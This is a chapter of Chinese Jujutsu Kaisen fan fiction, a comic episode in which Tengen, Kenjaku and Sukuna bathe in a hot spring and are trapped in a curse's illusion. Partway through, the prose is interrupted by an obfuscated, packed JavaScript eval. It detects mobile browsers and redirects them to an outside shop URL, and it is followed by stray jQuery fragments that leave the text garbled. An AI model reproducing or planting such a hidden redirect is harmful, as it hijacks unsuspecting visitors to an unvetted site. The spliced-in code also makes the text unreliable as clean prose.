恐惧,或者说害怕,这是人类最基础的情感之一,天元和羂索当然也有,他们还清楚自己害怕什么。
那么,他们会害怕两面宿傩吗?
天元开始思考,思考小队最强战力为什么在短时间内又提起这个毛茸茸的小问题,虽然还没有想出原因,但她知道她需要解决这个。
——她需要给予两面宿傩回应。
“宿傩。”天元总是相对主动的那个,她看着两面宿傩的眼睛,很认真的说,“你知道我在乎你。”
羂索怀疑两面宿傩在故意找茬,但他没有证据,总之,现在他需要一个认真版的回答。
羂索并不畏惧和谁对上视线,但他从不真诚,哪怕现在也是,他眼中没有太多认真,只是笃定的说:“宿傩,你很强,我或许真的会有害怕你的时候,但绝不是现在。”
难得起了恶劣心思,想吓吓两人看他们怎么糊弄的两面宿傩:……
——他们第一次怎么不这么说?
迟来的深情比草贱,迟来的认真连草都不如。
三人悲喜最大的不重合出现了!
两面宿傩认真的时候,天元和羂索玩弄了他。
而两面宿傩打算玩弄他们的时候,他们开始认真了。
小队最强战力不理解,他们这么没默契的吗?
但这次被认真回答了的他内心焦躁的不知道怎么回复,虽然有些差别,但他的部分心理和天元很像。
面对认同之人的真心,他不懂得怎么回应。
惴惴不安思考措辞的两面宿傩如临大敌,然后他就看见天元和羂索眼神坚定的抬手,当着他的面,缓缓对了下拳。
两面宿傩:……
两面宿傩震怒:“你们故意的!!”
他们转身,一个跑的比一个快,两人的白黑两色混杂着,像是一只在雪地里狂奔的哈士奇。
没跑几步,羂索,这个聪明的阴险小人预判到天元过一会儿会抬脚绊他,提前绊了天元。
天元毫无防备啪叽一下栽进了雪里。
羂索还在跑,两面宿傩则抓住机会追上了跌倒的天元。
天元从雪地里爬起来,看到了身旁的两面宿傩:……
她清楚自己躲不过这一劫,但还是决定挣扎一下,尝试逆天改命。
两面宿傩确信自己不会让天元逃过这一劫,但他愿意给她一次机会。
天元深情款款:“你知道我在乎你。”
两面宿傩轻笑:“是的,我知道,所以别让我为难,吾爱。”
羂索仍然在猛跑,就在刚刚,他实现了他们第一次见面时都想达成的【让一个人垫背】成就,远远的身后,天元的惨叫传来。
羂索跑的更快了。
然而,今年的冬季即将过去,阳光的温度上升,积雪逐渐融化,这是春天到来之前最寒冷的时刻。
被寒风扑了一脸的羂索最终回去自投罗网,瑟瑟发抖的躲在两面宿傩身后,避免着一下下迎面而来的寒风。
有些许融化的雪水很缓慢的染湿了羂索和两面宿傩的鞋子,只有天元那双由特殊布料制作的防水鞋幸存了下来。
羂索抱着自己,牙齿打颤:“天元,你的准备真是充分啊。”
天元自信微笑:“我怎么可能犯这么低级的错误。”
羂索非常不要脸的问:“那你为什么不给我准备一双你这样的鞋子?就因为我们之前不认识吗?!”
天元踹了羂索一脚:“既然知道原因就给我闭嘴。”
插科打诨没有增加人体的温度,整个脚在鞋子布料被晕湿的情况下变得愈加失温。
没有两面宿傩的体质,也没有天元的神奇道具,羂索观察着四周,开始动用脑子。
在脑内得出自己想要的答案后,他发着抖开口了:“你们想泡温泉吗?”
只听说过有温泉,但没有泡过温泉的两人看向羂索。
羂索的手抖啊抖的指着一个方向:“根据我的判断,那里附近可能会有露天温泉。”
天元和两面宿傩没有犹豫,直接改道。
——友谊里毫不保留的信任出现了!!
很快,羂索展示了他所学知识的价值,距离判断的位置拉进后,他们在一个山洞里找到了温泉。
天元降下结界,火光照亮有些昏暗的洞穴,清澈见底的泉水散发着白雾,热气朝他们飘来。
自从逃亡开始就没泡澡过的三人一眼沦陷。
“羂索,宿傩。”天元深情的叫着两个人的名字,她一肚子坏水的时候就喜欢这样。
熟悉天元套路的羂索根本不听她要说什么,非常冷漠的直接拒绝:“不行。”
两面宿傩一摞天元的白毛,心情很好的笑道:“不行。”
天元从来不是因为别人几句话就放弃的人:“来点男女有别,我先泡。”
羂索的眼神瞬间就怜爱了,看天元就像是在看误入歧途的小宝宝:“哦!天元!是谁这么教你的?他们在误导你!我们都是人,我们没什么不同!”
天元皱眉,发现事态有些不对:“但是——”
羂索捂住天元的嘴,笑眯眯的打断她:“没有但是,告诉我,如果我和宿傩是女性,你是男性,你会让我们先泡吗?”
他收回手,等待答案。
天元懵逼:“我当然会,因为——”
羂索点头,再次捂住她的嘴:“好的你不会,因为我和宿傩根本不是女性,你也根本不是男性,好了别管这些了,我们一起泡吧。”
天元挣扎着,试图再说些什么。
羂索微笑,决定让她死心:“现在,向你的蟑螂之神发誓,你说男女有别是真的在乎男女有别而不是想独自享受温泉。”
“你竟然不信任我!”天元愤怒的在胸口画出一只简笔蟑螂,眼神坚定的发誓,“我是真的在乎男女有别!而不是想独自享受温泉!阿蟑!”
等的有些不耐烦的两面宿傩按住天元的肩膀:“誓言都发了,肯定也不介意和我定个不说谎的束缚吧?”
天元收回发誓的手,腼腆微笑:“其实我觉得羂索说的对,人类都是平等的。”
“不过。”她顿了顿,说,“我希望你们听我说。”
天元琥珀色的眼睛总隐约间带着璀璨的色彩,哪怕现在也是。
男孩们抱臂,羂索觉得天元会怀柔,两面宿傩认为天元会讲道理,但他们都不会妥协的!
但实际上,乌鸦落在天元的肩膀上,她说:“不行我们打一架吧,我就是要单独享受,要问为什么,因为用上咒具我就是最强的那个。”
男孩们:……
……也不是不行,天元难得这么强硬。
——最后还是一起泡了,因为伟大的天元大人的恩赐!
天元换上乌鸦空间放着的无袖背心和短裤,安详的瘫在了温泉边上。
羂索和两面宿傩还是很要脸皮的在腰上围了一块布。
热水的温度让他们紧绷的神经逐渐放松,蒸腾的热气打在三人的脸上,他们逐渐化成一坨,吁气声一个比一个长。
忽然,两面宿傩的胸前位置冒出了许多气泡,天元和羂索没说什么,但默默离他远了点。
两面宿傩:?
“你们两个在干什么?”
两人眼观鼻鼻观心,沉默不语。
两面宿傩:……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918082|146644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他站起身,面无表情的看着两人,肚子上的嘴张开露出尖牙,证明刚刚的气泡只是肚子上的嘴也在长吁。
天元和羂索都吻,啊不,是都凑了过来。
羂索沉紫色的眼睛仿佛被浩渺的宇宙填满,他露出像是在看神奇物种的眼神。
“宿傩,你这是什么身体结构?还有什么东西瞒着我?比如两个咚?”
从未想过的道路出现了!天元迟疑:“真的假的?那为什么不是双/性?”
羂索看向天元,难以置信:“你是恶鬼吗?”
天元第一次被成功谴责到了,她开始反省。
两面宿傩冲向距离稍近的羂索,把他按进水里:“你们两个都去死!!!”
天元没有逃跑,她主动凑了过去,勇敢的一伸手。
两面宿傩僵住,羂索趁机逃离他的魔爪。
他看向莫名僵住的宿傩,发现天元把手塞进了两面宿傩肚子上的嘴里。
羂索看看天元惊奇的表情,看看仍然一动不动的两面宿傩,勇敢的伸出手。
然后他们两个都被咬了,嚎叫声充满洞穴。
当洞穴安静下来,整个人都湿了的天元将自己被咬的手泡在水里,清清嗓子,转移话题。
“对了,你们有什么梦想吗?未来想干什么?”
羂索吹着自己手上的牙印,很配合天元的转移话题计划:“我的梦想是为自己带来乐子。”
两面宿傩看着两人,冷哼不答。
最先塞手的天元干笑两声:“我的话——”
『“天元,天元?”』
嘈杂的声音响在耳边,手下是熟悉的灰色课桌,课本在桌前摞高,夕阳的阳光笼罩着坐在窗边的天元。
蓝色的窗帘被风吹动,仿佛在因青春起帆。
她恍惚的看向窗外,入眼是绿色的草坪和红色的跑道。
这时,有人在她身边提醒:『“天元,放学了。”』
身体被摇晃,天元回过神来,发现自己……
还在温泉里。
她看向男孩们的方向,羂索和两面宿傩已经因为不明原因昏睡了过去,都快要沉进水里了。
天元:……
他们刚刚不是还在谈梦想吗?
天元抹了把脸,发觉事情不简单。
她先把两人从温泉里拉出来,开始观察这个山洞。
最后,她判断他们被幻觉类咒灵阴了。
至于她为什么就恍惚了一下——当然是因为它有抗幻的防护性咒具啦!
天元从安然无恙的乌鸦嘴里掏出被子把羂索和两面宿傩裹住,自己换上战斗装,整理衣领,骄傲挺胸。
“伟大的天元大人即将拯救她的两个拖油瓶!”
她掏出一根白线,一端绑在自己的手腕上,另一端在羂索和两面宿傩之间犹豫了一下,最后绑在了两面宿傩的手腕上。
很快,她倒在了已经铺好的床铺上,进入了两面宿傩身处的幻境。
//
圆月挂在夜空,高大的樱花树下堆积起了一层厚厚的花瓣。
霸道的肉香进入鼻腔,成功进入幻境的天元看向香味的源头,发现一个熟悉的宿傩成年版正端坐在院子内的木制方桌上倒酒。
而那张桌子上摆放的是她这辈子大概都不会忘记的东西。
她看见自己和羂索的头颅被摆放在盘子上,她看见自己的肉被倒入锅中,或许还有羂索的,但她分不清。
那一刻,天旋地转。
真正的心寒,就是需要一些大吵大闹。
两面宿傩就是被这个幻境迷的找不着北?!
——她要把两面宿傩炸了!!!